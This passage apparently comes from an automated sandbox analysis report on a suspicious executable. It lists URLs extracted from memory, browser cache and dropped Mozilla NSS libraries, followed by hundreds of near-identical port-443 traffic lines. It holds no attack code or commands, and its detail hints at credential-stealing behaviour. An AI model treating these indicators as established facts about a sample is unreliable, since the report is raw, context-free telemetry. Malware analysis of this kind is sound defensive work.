Source: file.exe, 00000000.00000002.2648730761.0000000023FCF000.00000004.00000020.00020000.00000000.sdmp, CFBFHIEBKJKFHIEBFBAE.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2380801259.0000000001A73000.00000004.00000020.00020000.00000000.sdmp, DAECGCGH.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chromecache_454.5.dr	String found in binary or memory: https://www.google.com
Source: file.exe, 00000000.00000003.2380801259.0000000001A73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2484704780.0000000023F7A000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, DAECGCGH.0.dr, HCAEGCBF.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 2f52c1d0-5993-4878-b2ba-9e712f628bcc.tmp.10.dr, 313ab870-34f1-4a35-9f6c-40041a7556da.tmp.10.dr, b8a19936-7d52-4cf6-9167-833bcbdbf787.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_458.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_458.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_454.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_454.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_454.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2648730761.0000000023FCF000.00000004.00000020.00020000.00000000.sdmp, CFBFHIEBKJKFHIEBFBAE.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
